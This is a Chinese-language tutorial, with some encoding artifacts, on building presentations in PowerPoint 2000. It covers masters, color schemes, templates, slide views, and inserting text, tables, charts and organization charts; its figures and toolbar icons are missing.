示文稿PowerPoint
制作教程
內(nèi)容簡介:
學習重點:
1.演示文稿的制作
2.格式化和美化演示文稿
3.動畫和超級鏈接技術
4.放映和打印演示文稿
學習難點:
1.建立空白演示文稿
2.母板及配色方案的使用
3.幻燈片中對象的插入
4.幻燈片動畫效果和切換效果的設置
演示文稿的創(chuàng)建
啟動PowerPoint 2000
PowerPoint 2000必須在中文Windows 95或Windows 98及以上環(huán)境中運行,啟動方法與其他應用程序相同,單擊"開始"按鈕,選擇"程序/Microsoft PowerPoint"命令即可啟動中文PowerPoint 2000。
運行PowerPoint 2000后會彈出啟動對話框,如下圖所示。該對話框提供制作演示文稿的四種方法,用戶可以根據(jù)需要選擇。
用戶可根據(jù)需要選擇上述四種方式中的任意一種方式創(chuàng)建演示文稿,在上圖中單擊"確定"按鈕后是選擇空白演示文稿后進入的PowerPoint,如右圖。
該窗口包括PowerPoint 2000應用程序窗口與演示文檔窗口。在應用程序窗口的標題欄下有菜單欄、常用工具欄以及格式工具欄。左側(cè)窗格顯示的是幻燈片大綱文字,下方有四個視圖按鈕和一個幻燈片放映按鈕,從左向右依次是幻燈片視圖按鈕、大綱視圖按鈕、幻燈片瀏覽視圖按鈕、備注頁視圖按鈕以及幻燈片放映按鈕。右側(cè)窗格是一個建立了空白幻燈片的。
使用"內(nèi)容提示向?qū)?創(chuàng)建演示文稿
快速、有效地創(chuàng)建一個具有專業(yè)水平的演示文稿的最簡單的方法是利用系統(tǒng)提供的向?qū)Чδ埽?內(nèi)容提示向?qū)?的引導下,不僅能幫助用戶完成演示文稿的相關格式的設置,而且還幫助用戶輸入演示文稿的主要內(nèi)容。
在啟動"內(nèi)容提示向?qū)?后,彈出"內(nèi)容提示向?qū)?的對話框,對話框的左側(cè)列出了該向?qū)У恼麄€流程,單擊"下一步"按鈕彈出選擇"內(nèi)容提示向?qū)?[分類]"對話框,該對話框列出了常用的七種演示文稿類型:常規(guī)、企業(yè)、項目、銷售/市場、成功指南、出版物和其它,每一類型根據(jù)情況又有各自的子類型,如下圖所示。
從中選擇一種類型后,如選擇"成功指南",單擊"下一步"按鈕,進入"演示文稿樣式"流程,如下圖所示,從中選擇一種輸出類型,如選擇"屏幕 演示文稿"類型。
單擊"下一步"按鈕后,彈出文稿選項對話框,要求輸入演示文稿標題等信息,如圖所示。
輸入完標題和頁腳信息后,單擊"下一步"按鈕,進入最后的完成畫面,單擊"完成"按鈕,屏幕上出現(xiàn)如圖所示的演示文稿
左側(cè)是演示文稿大綱,右側(cè)是幻燈片視圖,此演示文稿共有5張幻燈片,從第二張開始的每一張幻燈片上都有系統(tǒng)對通用類型演示文稿通常具有的內(nèi)容的提示,用戶可以根據(jù)提示按照自己的想法在其中輸入相應的內(nèi)容。
最后,打開"文件"菜單,選擇"保存"命令,將此演示文稿進行保存。PowerPoint 2000默認以演示文稿類型保存,擴展名是.ppt。如果想保存為其他類型,請單擊"保存"對話框中"保存類型"的下拉箭頭進行選擇。
要使演示文稿能在Internet上使用,須將它保存為HTML 格式。打開"文件"菜單,選擇"另存為Web頁"命令,系統(tǒng)自動選擇"保存類型"為"Web頁"方式,可直接公布至Web網(wǎng)中。
使用"設計模板"創(chuàng)建演示文稿
PowerPoint 2000提供了各種專業(yè)的設計模板,用戶可從中選擇任意一種,這樣所生成的幻燈片都將自動采用該模板的設計方案,從而使演示文稿中的幻燈片風格協(xié)調(diào)一致。
選擇"設計模板"選項,或者打開"文件"菜單,選擇"新建"命令,都將彈出"新建演示文稿" 對話框,如下圖所示,在此對話框中PowerPoint 2000提供了以下幾種類型的模板:"常用"、"設計模板"、"演示文稿"。
選擇"設計模板"選項卡,窗口中列出已設計好的模板列表,單擊某一種模板后,窗口右側(cè)的預覽框內(nèi)可以看見預覽效果。單擊"確定"按鈕或雙擊一種模板類型,彈出"新幻燈片"對話框,在此為幻燈片設計布局格式。
"設計模板"模板只提供設計方案,如背景對象及其位置、配色方案、標題和主題的文本格式等。
選擇"演示文稿"選項卡,窗口中也列出了許多模板類型,用戶可從中選擇任意一種。"演示文稿"與"演示文稿設計"模板不同之處在于,"演示文稿"不僅提供設計方案,還建議實際內(nèi)容。
建立空白演示文稿
如果所有模板都不滿足要求,或者想制作一個特殊的、具有與眾不同外觀的演示文稿,可從一個空白演示文稿開始,自建背景設計、配色方案和一些樣式特性。
選擇"空演示文稿"選項,或者在PowerPoint 2000窗口中,打開"文件"菜單,選擇"新建"命令,在"新建演示文稿"對話框中,單擊"常用"選項卡,雙擊"空演示文稿"圖標,彈出"新幻燈片"對話框,如下圖所示。
在這個對話框中可以選擇各種版面布局,包括:標題版面、大綱版面、圖表、組織結(jié)構圖、插入藝術圖片、空白版面等。選擇了某種版面,單擊"確定"按鈕后,就能在其中輸入文字、插入圖片、制作圖形、圖表,設計符合幻燈片主題的背景等工作。
導入大綱創(chuàng)建演示文稿
用戶可以輕松地導入一份設好標題樣式的Word文檔來創(chuàng)建演示文稿。方法是:在Word中打開文檔,打開"文件"菜單,選擇"發(fā)送"命令,再單擊"Microsoft PowerPoint"。每個標題1樣式的段落都會成為新幻燈片的標題;每個標題2樣式的段落都會成為第一級文本,依此類推。
在PowerPoint中可使用已設置標題樣式的文檔,可以通過這些樣式更有效地創(chuàng)建演示文稿。打開"文件"菜單,選擇"打開"命令,在"打開"對話框中的"文件類型"框中單擊"所有大綱"類型,在"名稱"框中,雙擊要使用的文檔,單擊"打開"按鈕,導入的大綱會在PowerPoint的大綱視圖中打開。每個主要標題都會以單個幻燈片標題形式出現(xiàn),每個部分都作為正文。
改變視圖方式
PowerPoint 2000有五種工作視圖,各種視圖提供不同的觀察側(cè)面和功能,通過單擊窗口左下角的視圖按鈕,可以在不同的視圖中觀察自己制作的演示文稿,還可以使用幻燈片放映按鈕,使系統(tǒng)以全屏幕方式播放演示文稿。PowerPoint 中最常使用的兩種視圖是普通視圖和幻燈片瀏覽視圖。
不論使用哪一種視圖,系統(tǒng)都根據(jù)顯示器的分辨率和主窗口的大小選取一個最優(yōu)的比例來顯示演示文稿,并允許你根據(jù)需要進行放大或縮小。" "可放大大綱窗格,單擊" "按鈕可放大幻燈片窗格。在PowerPoint 2000中幻燈片視圖和大綱視圖合并到了普通視圖中。
大綱視圖
大綱視圖是一個文本處理視圖,此種方式的設計重點以幻燈片的文字內(nèi)容為主,可以看到每張幻燈片中的標題和文字內(nèi)容,并會依文字的層次縮排,產(chǎn)生整個演示文稿的綱要、大標題、小標題等,當創(chuàng)作者暫不考慮幻燈片的構圖變化,而僅僅建立貫穿整個演示文稿的構思時,通常采用大綱視圖。在大綱視圖中數(shù)字是幻燈片的編號,其后是幻燈片圖標," "圖標表示此幻燈片中只有文字對象," "圖標表示幻燈片除文字外還有其他對象,如圖片、圖形等。
使用大綱視圖是整理、組織和擴充文字最有效的途徑。只需直接在大綱視圖中依次輸入各個幻燈片的標題和正文,PowerPoint 2000就會自動建立每張幻燈片。
幻燈片視圖
在幻燈片視圖中,可以為幻燈片增加標題、正文,改變版面布局,使用繪圖工具畫出各種圖形,增加各種藝術圖片,選擇顏色模式,制作圖表、組織結(jié)構圖等一系列工作。可以查看每張幻燈片中的文本外觀。可以在單張幻燈片中添加圖形、影片和聲音,并創(chuàng)建超級鏈接以及向其中添加動畫。
幻燈片瀏覽視圖
單擊" "按鈕或者選擇"視圖"菜單中的"幻燈片瀏覽"命令將切換到幻燈片瀏覽視圖中。原則上演示文稿的全部幻燈片都可出現(xiàn)在屏幕上,這些幻燈片是以縮圖顯示的。幻燈片瀏覽視圖適用于需要重新調(diào)整排列幻燈片的順序,檢查演示文稿的順序是否流暢,亦可加入新的幻燈片,對幻燈片進行移動、復制、刪除等各項工作,設置幻燈片之間的切換效果。還可以預覽多張幻燈片上的動畫,方法是選定要預覽的幻燈片,然后單擊"幻燈片放映"菜單中的"動畫預覽"。在許多幻燈片當中,有蘭色粗線外框圍住的幻燈片是當前幻燈片,如下圖所示。
幻燈片放映視圖
單擊" "按鈕或者選擇"視圖"菜單中"幻燈片放映"命令可以以全屏幕方式放映幻燈片,同時,還可以看到對幻燈片演示設置的各種放映效果。
在幻燈片放映時單擊鼠標左鍵可使幻燈片前進一張,單擊鼠標右鍵可使幻燈片后退一張。幻燈片放映至最后一張后,單擊鼠標左鍵,會退出幻燈片放映視圖,回到原工作環(huán)境。
單擊鍵盤上的"Esc"鍵就能結(jié)束放映返回PowerPoint窗口。
幻燈片制作工具的使用
自動布局
PowerPoint把任何可以添加到幻燈片中的元素,如文字、圖形、圖表和圖像等都稱為幻燈片的對象,確定對象在幻燈片中的相對位置的操作就是布局。為了提高用戶的工作效率,系統(tǒng)事先設計好了28種布局可供選用,這就是PowerPoint 2000的自動布局功能。
每新建一張幻燈片時,系統(tǒng)都會顯示自動布局列表供用戶選擇。對于每一張幻燈片,可以改變已經(jīng)選定的版面。打開"格式"菜單,選擇"幻燈片版式"命令,或直接單擊"格式"工具欄中"常規(guī)任務"按鈕,從中選擇" 幻燈片版式"命令,彈出幻燈片版式對話框,從中選擇一個版面,再選擇"應用"按鈕,原幻燈片的版面就會被新的版面所代替。
運用母版
利用PowerPoint 2000創(chuàng)建的演示文稿是由多張幻燈片構成的,這些幻燈片是為一個中心主題服務的,所以它們應該有統(tǒng)一的風格和一致的外觀。控制幻燈片外觀的方式有母版、顏色方案和設計模板三種,使用這些方式可以迅速地使幻燈片和演示文稿變得多姿多彩。
母版的類型
母版用于設置每張幻燈片的預設格式,這些格式包括每張幻燈片中都要出現(xiàn)的文本或圖形,標題文本的格式,如字體、字號、顏色等,正文文字的格式、位置,項目符號的樣式等。使用母版可以使整個演示文稿有統(tǒng)一的外觀,不必每次插入新幻燈片時一一設置,利用母版還可以使所有幻燈片有一致的背景,標題有統(tǒng)一的格式,每張幻燈片上有共同的一個圖形等。
母版分為幻燈片母版、標題母版、講義母版和備注母版四種類型,分別用于規(guī)范幻燈片、標題幻燈片、備注頁、講義的公共屬性設置。幻燈片母版控制在幻燈片上鍵入的標題和文本的格式與類型;標題母版控制標題幻燈片的格式和位置,它還
能控制指定為標題的幻燈片,例如某部分的開始;講義母版用于添加或修改在每頁講義中出現(xiàn)的頁眉或頁腳信息;備注母版用來控制備注頁的版式及備注文字的格式。母版還包含背景項目,例如放在每張幻燈片或標題幻燈片上的圖形。對母版所做的更改反映在每張幻燈片上。如果要使個別的幻燈片外觀與母版不同,可以直接修改該幻燈片。
幻燈片母版
每一個演示文稿都有幻燈片母版和標題母版,幻燈片母版控制所有幻燈片的格式。
打開"視圖"菜單中的"母版"命令,再從級聯(lián)菜單中選擇"幻燈片母版"命令,或者按住"Shift"鍵同時單擊" "按鈕,都將進入幻燈片母版,如下圖所示。
每一個演示文稿都有幻燈片母版和標題母版,幻燈片母版控制所有幻燈片的格式。
打開"視圖"菜單中的"母版"命令,再從級聯(lián)菜單中選擇"幻燈片母版"命令,或者按住"Shift"鍵同時單擊" "按鈕,都將進入幻燈片母版,如右圖所示。
在幻燈片母版中,包括標題樣式、正文樣式、日期區(qū)、頁腳區(qū)和數(shù)字區(qū),每個區(qū)域中的文字只起提示作用,并不真正顯示,用戶不必在各區(qū)輸入文字,只需設置其格式即可,即使輸入了文字也不會出現(xiàn)在幻燈片上,只有加入了其他對象的處理內(nèi)容(如文本框、圖片)才會出現(xiàn)在幻燈片上。
更改文本格式
如果對正文區(qū)所有層次的文本進行統(tǒng)一的修改,先選擇對應的文本框,再設置文本的字體、字號、顏色、段落等格式。
如果只改變某一層次的文本格式,在母版的正文區(qū)選中該層次,再用"格式"菜單中的命令進行格式化。例如,為了改變第二層次小標題的文本字體,需先選擇文本"第二級",然后使用文本格式化的命令。類似地,為改變第二層的項目符號,先選擇第二層文本,再在"格式"菜單中執(zhí)行"項目符號"命令,然后在"項目符號"對話框中選取另外的項目符號及其顏色和大小。
背景設置
通過更改幻燈片的顏色、陰影、圖案或者紋理,可以改變幻燈片的背景。此外,也可以使用圖片作為幻燈片背景,不過在幻燈片或者母版上只能使用一種背景類型。例如,可以采用陰影背景、紋理背景,或者以圖片作為背景,但是每張幻燈片上只能使用一種背景。更改背景時,可以將這項改變只應用于當前幻燈片,或者是所有的幻燈片和幻燈片母版。
在幻燈片視圖或母版中,打開"格式"菜單,選擇"背景"命令,彈出"背景"對話框,如圖7-12所示。
單擊"背景填充"的下拉箭頭,可以選擇背景顏色;單擊"填充效果",彈出"填充效果"對話框,在此可以選擇以過渡色、紋理、圖案或圖片文件作為幻燈片的背景,再單擊"確定"按鈕。如果要應用到所有的幻燈片和幻燈片母版,請單擊"全部應用"按鈕。如果只將更改應用到當前幻燈片,請單擊"應用"按鈕。
向母版中插入對象
除了背景和字型的設置外,也可以設置使每一張幻燈片都出現(xiàn)同一個對象,如公司的徽標。下面以插入一個圖形對象為例。首先進入幻燈片母版,打開"插入"菜單,選擇"圖片/剪貼畫"命令,進入剪貼庫,單擊欲選中的圖片上,然后單擊"插入剪輯"按鈕。調(diào)整好圖片的大小和位置后,單擊"母版"工具欄中的"關閉"按鈕,或直接單擊"幻燈片瀏覽視圖"按鈕,可以發(fā)現(xiàn)每張幻燈片都有一副相同的圖片。
創(chuàng)建與母版不同的幻燈片
雖然在幻燈片母版上所作的任何變化都將在同一演示文稿的所有幻燈片上顯示和起作用,但PowerPoint允許對每一張幻燈片進行特殊的修改,使之不受母版的控制。
如果要使幻燈片標題或文本與母版不同,首先在幻燈片視圖中顯示要更改的幻燈片,然后可根據(jù)需要更改文本的格式,則所作的改變不會影響其他幻燈片或母版。
如果想在某張幻燈片上設置與母版不同的背景,在幻燈片視圖中顯示該幻燈片后,單擊"格式"菜單,為其選擇背景色或其他填充效果,最后單擊"應用"按鈕,則此幻燈片有與眾不同的背景。
標題母版
標題母版主要用來設置演示文稿中的標題幻燈片,通常是演示文稿的第一張幻燈片,標題幻燈片用來介紹演示文稿的主題和演講者。進入標題母版時先進入幻燈片母版,再打開"插入"菜單,選擇"新標題母版"命令。用戶可以改變標題和副標題的格式,也可以添加其他對象。標題母版中的格式只影響標題幻燈片,其他幻燈片不受標題母版的影響。
使用配色方案
PowerPoint制作的演示文稿以畫面的形式向人們展示,因此必須善于運用色彩以達到良好的視覺效果。在PowerPoint中可以通過配色方案把各種顏色協(xié)調(diào)地搭配在幻燈片中。
配色方案是一組可用于演示文稿中的預設顏色,由8種顏色組成,用于演示文稿的主要顏色,例如文本、背景、填充、強調(diào)文字所用的顏色。方案中的每種顏色都會自動作用于幻燈片上的不同對象。可以挑選一種配色方案用于個別幻燈片或整個演示文稿中。在演示文稿中應用設計模板時,可以從一組設計模板預定義的配色方案中選擇。通過這種方式,可以很容易地更改幻燈片或整個演示文稿的配色方案,并確保新的配色方案和演示文稿中的其他幻燈片相互協(xié)調(diào)。
改變演示文稿配色方案最簡便的方法是選擇PowerPoint的一種標準配色方案,這樣的配色方案是由專業(yè)人員制作的。在幻燈片視圖中,顯示將要更改配色方案的幻燈片,單擊"格式"菜單中"幻燈片配色方案"命令,彈出"配色方案" 對話框,如圖所示。
單擊"標準"選項卡,選擇一種配色方案,單擊"應用"按鈕將新的配色方案應用于當前幻燈片,單擊"全部應用"按鈕則將新配色方案應用于所有幻燈片。
如果要刪除配色方案,在"配色方案"對話框中,選中某種方案,單擊"刪除配色方案"按鈕即可。
標準的配色方案有時并不能完全適用于用戶的演示文稿,此時,可以自定義一種配色方案。在"配色方案"對話框中單擊"自定義"選項卡,彈出對話框,如下圖所示。
若改變8個色塊中的某種顏色,雙擊該色塊,或單擊該色塊然后單擊"更改顏色"按鈕。例如,如果想改變填充色,雙擊"填充"色塊彈出"填充顏色"對話框,單擊"標準"選項卡,直接從調(diào)色板選擇所需的顏色,選中的色塊呈高亮度顯示,然后單擊"確定"按鈕。如果這些色塊中沒有所需的顏色,則單擊"自定義"選項卡,將大方框中的十字拖至所需的顏色上,再將窄條上的三角形標志拖至所要求的亮度,查看對話框右下角的"新增"方框所顯示的顏色,或單擊"預覽"按鈕,以預覽新顏色在演示文稿中的顯示效果,當對新顏色感到滿意時,單擊"確定"按鈕。如果將自定義的配色方案添加為標準配色方案,可單擊"添加為標準配色方案"按鈕,PowerPoint將把此自定義的配色方案復制到"標準"選項卡下,可作為其他幻燈片的配色方案使用。如果要將新的顏色應用到當前幻燈片,單擊"應用"按鈕,如果要將新的顏色用到演示文稿的所有幻燈片,單擊"全部應用"按鈕。
除了配色方案中的顏色外,還有許多其他顏色可供使用。只要使用其中一種,該顏色就會自動添加到所有的顏色菜單中,所有文本、陰影、項目符號、背景和線條都能使用該顏色。
添加的顏色將出現(xiàn)在配色方案的8種顏色的下面,最多可以添加和顯示8種顏色。如果添加的顏色超過8種,最新的顏色將出現(xiàn)在調(diào)色板的第一位,而最舊的顏色被刪除。
模板的使用
改變演示文稿的外觀,最容易、快捷的方法是應用設計模板。模板本身是一個演示文稿文件,是將所設置的母版和配色方案存儲成一個文件,在需要的時候重復使用這些設置。PowerPoint提供了許多由專業(yè)人員精心設計的模板文件,使用模板有助于快速創(chuàng)建生動完美的演示文稿。事實上,在創(chuàng)建新演示文稿時都采用了某種模板,當前演示文稿采用的模板顯示在PowerPoint窗口底部的狀態(tài)欄中。對于現(xiàn)有的演示文稿也可以更換模板,在PowerPoint窗口中,打開"格式"菜單,選擇"應用設計模板"命令,或單擊"格式"工具欄中的"常規(guī)任務"按鈕,選擇"應用設計模板"項,彈出"應用設計模板"對話框,在該對話框中左側(cè)列出了模板類型,單擊任何一個模板,右側(cè)可看見預覽效果,選擇一種滿意的模板文件,單擊"應用"按鈕,即可得到結(jié)果。
PowerPoint 提供了各種專業(yè)設計的模板,也可以自行添加模板。如果為某份演示文稿創(chuàng)建了特殊的外觀,可將它存為模板。選擇"文件"菜單中"另存為"命令,彈出"另存為"對話框,在"保存類型"列表框選擇"演示文稿設計模板(*.pot)",系統(tǒng)自動設置選擇保存位置為"模板"文件夾,在"文件名"框中輸入該模板的名稱,然后單擊"保存"按鈕。存為模板的演示文稿可以包含自定義的備注母版或講義母版。
處理幻燈片
插入幻燈片
在PowerPoint的任何視圖中都可以創(chuàng)建一個新的幻燈片。在幻燈片視圖中創(chuàng)建的新幻燈片將排列在當前正在編輯的幻燈片的后面。在大綱或幻燈片瀏覽視圖中增加新的幻燈片時,其位置將在當前光標或當前所選幻燈片的后面。PowerPoint整個演示文稿中所有幻燈片的大小、高寬比例都是相同的。
新建幻燈片時打開 "插入"菜單,選擇"新幻燈片"命令,或單擊常用工具欄中的" "按鈕,都可以打開新幻燈片對話框,選擇一種布局后得到新建的一張幻燈片。
如下圖所示是選擇"文本與剪貼畫"的布局,其中每一個虛框稱為占位符,占位符中的文字是系統(tǒng)的提示,例如"單擊此處添加標題"提示用戶在文本框中單擊一下,即可進入文本輸入模式,原提示信息消失。
編輯幻燈片
在PowerPoint中幻燈片也是一種對象,如同普通對象一樣,幻燈片作為特殊對象也可進行編輯操作。
復制幻燈片
如果用戶當前創(chuàng)建的幻燈片與已存在的幻燈片的風格基本一致,采用復制一張新的幻燈片的方法更方便,只需在其原有基礎上做一些必要的修改。
只有在大綱視圖或幻燈片瀏覽視圖中才能復制幻燈片。按住"Shift"鍵,再單擊幻燈片,選擇連續(xù)的多張幻燈片;按住"Ctrl"鍵,再單擊需要的幻燈片,選擇不連續(xù)的多張幻燈片,然后打開"編輯"菜單,選擇"復制"命令或按工具欄上的" "按鈕,移動光標至目標位置,打開"編輯"菜單,選擇"粘貼"命令或按工具欄上的" "按鈕,幻燈片將復制到光標所在幻燈片的后面。
打開"插入"菜單選擇"插入幻燈片副本"命令,在當前位置插入前一張幻燈片的副本,起到復制的作用。
刪除幻燈片
在幻燈片視圖、備注頁視圖、大綱視圖或者幻燈片瀏覽視圖中均可執(zhí)行刪除操作,但是如果演示文稿只有一張幻燈片,那么只能在幻燈片瀏覽視圖或大綱視圖中刪除。
在幻燈片視圖或備注頁視圖中,打開"編輯"菜單,選擇"刪除幻燈片"命令,將刪除當前幻燈片。在大綱視圖或幻燈片瀏覽視圖中,如果要刪除多張幻燈片,按下"Ctrl"鍵并單擊各張幻燈片,然后打開"編輯"菜單,選擇"刪除幻燈片"命令或者按"Back Space"或"Del"鍵,就可刪除選定的幻燈片。
從其他文件轉(zhuǎn)換來的幻燈片
可以將其他文檔中的幻燈片插入到當前演示文稿中,除了用"復制/粘貼"的方法外,還可以打開"插入"菜單,選擇"幻燈片(從文件)"命令,如圖所示,選擇幻燈片的來源文件,按住"Ctrl"鍵或"Shift"鍵選擇多張要插入的幻燈片,單擊"插入"按鈕,即可插入到當前演示文稿中,單擊"全部插入"按鈕,將所有幻燈片插入。
如果希望將文本文件轉(zhuǎn)換成演示文稿,打開"插入"菜單選擇"幻燈片(從大綱)"命令,選擇文件,就會把文字轉(zhuǎn)換成演示文稿中的大綱信息。
隱藏幻燈片
有時根據(jù)需要不能播放所有幻燈片,用戶可將某幾張幻燈片隱藏起來,而不必將這些幻燈片刪除。被隱藏的幻燈片在放映時不播放,在幻燈片瀏覽視圖中在幻燈片的編號上有"\"標記。
如果隱藏幻燈片,先切換到幻燈片瀏覽視圖中,選擇要隱藏的幻燈片,打開"幻燈片放映"菜單,選擇"隱藏幻燈片"命令,或者單擊"幻燈片瀏覽"工具欄中的" "按鈕。
如果想取消隱藏,只要在幻燈片瀏覽視圖中選擇被隱藏的幻燈片,再單擊" "按鈕即可取消隱藏。
插入對象
文字的添加
文字是構成幻燈片的一個基本對象,每一張幻燈片或多或少都有一些文字信息,人們經(jīng)常利用幻燈片中的文字信息來表達自己的觀點和思想。文字處理可以在兩種工作環(huán)境中進行:幻燈片視圖和大綱視圖。兩種環(huán)境各有所長,可根據(jù)需要來選擇。
在幻燈片視圖中輸入文字
幻燈片視圖是PowerPoint 最基本的工作環(huán)境,在此視圖下工作,幻燈片中的所有對象都與放映時在屏幕上的展示效果一致。
在幻燈片視圖中輸入文字最直接的方法就是用鼠標單擊文本占位符的區(qū)域,該區(qū)域的虛線邊框被粗的斜線邊框取代,提示文本將消失,出現(xiàn)一個閃爍的插入點,然后就可以輸入文字。如果輸入的文字較多超出了占位符區(qū)域,它會自動跳行。可以通過調(diào)整邊框上的控制點來調(diào)整占位符區(qū)域的大小。如圖所示是在標題幻燈片中輸入主標題和副標題。幻燈片標題和文本的外觀風格是由幻燈片母版中的標題和文本格式?jīng)Q定的
此外,使用繪圖工具欄上的" "按鈕或" "按鈕,可以在文本占位符外添加文字。單擊" "按鈕,在要添加文本的位置上單擊鼠標左鍵,然后開始輸入文字,文本框的長度會隨著輸入文字的增加而自動增長,除非按下回車鍵否則它不會自動換行。或者單擊" "按鈕,在要添加文本的位置處單擊鼠標左鍵并拖曳出一個適當大小的框,然后再輸入文字,此時輸入的文字會在框內(nèi)自動換行。單擊" "按鈕添加豎排文字的文本框。
利用文本框添加的文字其字體、字形和對齊方式等格式不受幻燈片母版的影響,可單獨為它們進行編輯和格式化處理。另外,這些文字在大綱視圖中是看不到的。
對于已經(jīng)輸入的文字,可以對其進行各種編輯,包括選中文字、對文字的各種格式化操作、文字段落處理及對文字的修改、移動、復制、刪除等操作。這些操作和Word、Excel基本類似,這里不再詳述。
在大綱視圖中輸入文字
大綱視圖主要用在演示文稿中所有幻燈片的文字編輯上,僅顯示幻燈片的標題和主要文字信息,這樣可專心地處理所有的文字構思,不必辛苦地前后翻頁。待文字信息處理完后,可再回到幻燈片視圖,調(diào)整頁面布局和插入圖形、圖表等其他對象。
切換到大綱視圖后,可利用"大綱"工具欄上各按鈕調(diào)整文字的位置及級別,如圖所示,各按鈕功能說明見下表。
在大綱視圖中加入文字如同使用Word編輯器一樣,只要把插入點移到合適的位置,就可以輸入文字了;要插入一張幻燈片或一個副標題,只要按"Enter"鍵,就會產(chǎn)生一個與上一行同一層次的空白行,即如果上一行為幻燈片的標題行,按"Enter"鍵后,創(chuàng)建一張新幻燈片,如果上一行為幻燈片的副標題,按"Enter"鍵后,產(chǎn)生新的副標題;按"Ctrl+Enter"鍵是使下一行輸入文本的等級與上一行不同,即上一行如果是標題,按"Ctrl+Enter"鍵后,第二行會變成正文,反之,如果當前行是正文,按"Ctrl+Enter"鍵后,將創(chuàng)建下一張幻燈片。一般可利用工具欄中的按鈕來改變段落的層次關系。
插入圖形
制作演示文稿的目的是向別人介紹觀點、宣傳你的思想或推薦好的產(chǎn)品,文字固然重要,但是,在演示文稿中,如果能將生動有趣的圖形與文字配合在一起,將大大增強演示文稿的演示效果。
繪制圖形
PowerPoint 2000提供了功能強大的繪圖工具,利用繪圖工具繪制各種線條、連接符、幾何圖形、星形以及箭頭等較復雜的圖形。另外,還可以利用"繪圖"工具欄中提供的工具按鈕對繪制的圖形進行旋轉(zhuǎn)、翻轉(zhuǎn)或填充顏色等,并與其他圖形組合為更復雜的圖形。
插入圖片
除了可以利用"繪圖"工具欄在幻燈片上繪制圖形以外,還可以在幻燈片上插入剪貼畫、圖片和藝術字等,這樣會使演示文稿生動有趣,更富有吸引力。
Office 2000中有一個豐富的剪輯庫,包括各種人物、風景名勝、花鳥魚蟲等,用戶可以根據(jù)需要方便地將它們插入到文件中。如果插入從其他應用程序編輯好的圖片,請打開"插入"菜單,選擇"圖片/來自文件"命令。如果要插入掃描的圖片,請打開"插入"菜單,選擇"圖片/來自掃描儀或相機"命令。如果要插入藝術字,請打開"插入"菜單,選擇"圖片/藝術字"命令,對于插入的藝術字可以利用圖形工具進行格式調(diào)整。插入剪貼畫的方法主要有兩種,一種是在幻燈片版式中選擇一種帶有剪貼畫占位符的版式,雙擊剪貼畫占位符,即可彈出"插入剪貼畫"對話框,找到所需的剪貼畫后插入。另一種是向已存在的幻燈片中利用"插入"菜單中的"圖片"命令插入剪貼畫,則該圖像將出現(xiàn)在幻燈片的中心位置,可用拖動的方法移動其位置并改變其大小。
插入表格
表格可簡明地反映一些統(tǒng)計數(shù)據(jù),也容易制作。可以選擇一種帶表格占位符的幻燈片版式,雙擊占位符,選擇表格的行、列數(shù)。也可以在幻燈片視圖中,單擊"插入"菜單中的"表格"命令,輸入所要的行、列數(shù)來制作,還可以單擊" "按鈕自己繪制表格。
插入圖表
形象直觀的圖表與文字數(shù)據(jù)相比更容易讓人理解,插入在幻燈片中的圖表使幻燈片的顯示效果更加清晰。PowerPoint 2000中附帶了一種叫Microsoft Graph的圖表生成工具,它能提供18種不同的圖表來滿足用戶的需要,這使得制作圖表的過程簡便而且自動化。
在幻燈片中插入所需的圖表,通常是通過在系統(tǒng)提供的樣本數(shù)據(jù)表中輸入自己的數(shù)據(jù),由系統(tǒng)自動修改與數(shù)據(jù)相對應的作為樣本的圖表而得到的。插入圖表一般有兩種情況:一種是為有圖表占位符的幻燈片添加圖表,另一種是為無圖表占位符的幻燈片添加圖表。
利用自動版式建立帶圖表的幻燈片
如果想制作一張圖表幻燈片,在新建幻燈片后出現(xiàn)的"新幻燈片"對話框中,為新建的幻燈片選擇一種含有圖表占位符的自動版式,然后按照提示,雙擊圖表占位符,一個樣本圖表即出現(xiàn)在預留區(qū)內(nèi),圖表上面疊放著一個數(shù)據(jù)表窗口,如圖所示,數(shù)據(jù)表中包含一些樣本數(shù)據(jù),圖表就是根據(jù)這些數(shù)據(jù)制作的。
向已存在的幻燈片中插入圖表
為向一個已有的幻燈片中增加圖表,在幻燈片視圖下,可單擊"常用"工具欄上的" "按鈕,或打開"插入"菜單,選擇"圖表"命令,或打開"插入"菜單,選擇"對象"命令,并在"插入對象"對話框中選擇"Microsoft Graph 2000 圖表",再單擊"確定"按鈕。不論采用上述哪種方法,都可啟動Microsoft Graph,并在當前幻燈片中顯示一個樣本圖表和一個數(shù)據(jù)表。
輸入數(shù)據(jù)
當樣本數(shù)據(jù)表及其對應的圖表出現(xiàn)后,PowerPoint 2000的菜單欄和常用工具欄就被Microsoft Graph的菜單和工具按鈕替代。用戶可在系統(tǒng)提供的樣本數(shù)據(jù)表中,完全按自己的需要重新輸入數(shù)據(jù)。Microsoft Graph的數(shù)據(jù)表與Excel的工作表十分相似,可象對Excel的工作表那樣,在該數(shù)據(jù)表中輸入數(shù)據(jù)。用鼠標或方向鍵選擇所需的單元格,然后從鍵盤直接輸入數(shù)據(jù)。
編輯圖表
在PowerPoint 2000窗口中,用鼠標雙擊圖表,就可啟動Microsoft Graph,利用Microsoft Graph提供的菜單和工具按鈕,根據(jù)自己的意圖可以對圖表進行編輯工作,例如,系統(tǒng)默認以"三維柱形圖"作為樣本的圖表類型,用戶想更改圖表類型,可單擊Microsoft Graph"常用"工具欄中" "按鈕,在隨之彈出的"圖表類型"對話框中雙擊所需的圖表類型,即可以用新的圖表類型顯示該圖表了。
返回PowerPoint 2000
完成在幻燈片中插入圖表的操作后,在圖表外的任意處單擊鼠標即可返回PowerPoint 2000窗口,創(chuàng)建的圖表就插入到了當前幻燈片中。
插入組織結(jié)構圖
當用演示文稿介紹單位或公司的組織機構時,要顯示這個機構的等級和層次關系,PowerPoint 2000中提供了一個輔助工具"Microsoft 組織結(jié)構圖",它是描述組織結(jié)構的最佳方法。這是一個專門用來制作組織結(jié)構圖的獨立的應用軟件。它可以不依靠任何其他應用程序,在Windows下獨立運行。利用這個工具可以很方便地畫出各種復雜的組織結(jié)構圖。
在幻燈片上插入組織結(jié)構圖十分容易,和插入其他對象的方法大致相同。如果想制作一張帶有組織結(jié)構圖的幻燈片,最方便的辦法是建立一張新幻燈片,并選擇一種含有組織結(jié)構圖占位符的自動版式;若想讓組織結(jié)構圖出現(xiàn)在一個已有的幻燈片上,可以將組織結(jié)構圖插入幻燈片中。
利用自動版式創(chuàng)建含有組織結(jié)構圖的幻燈片
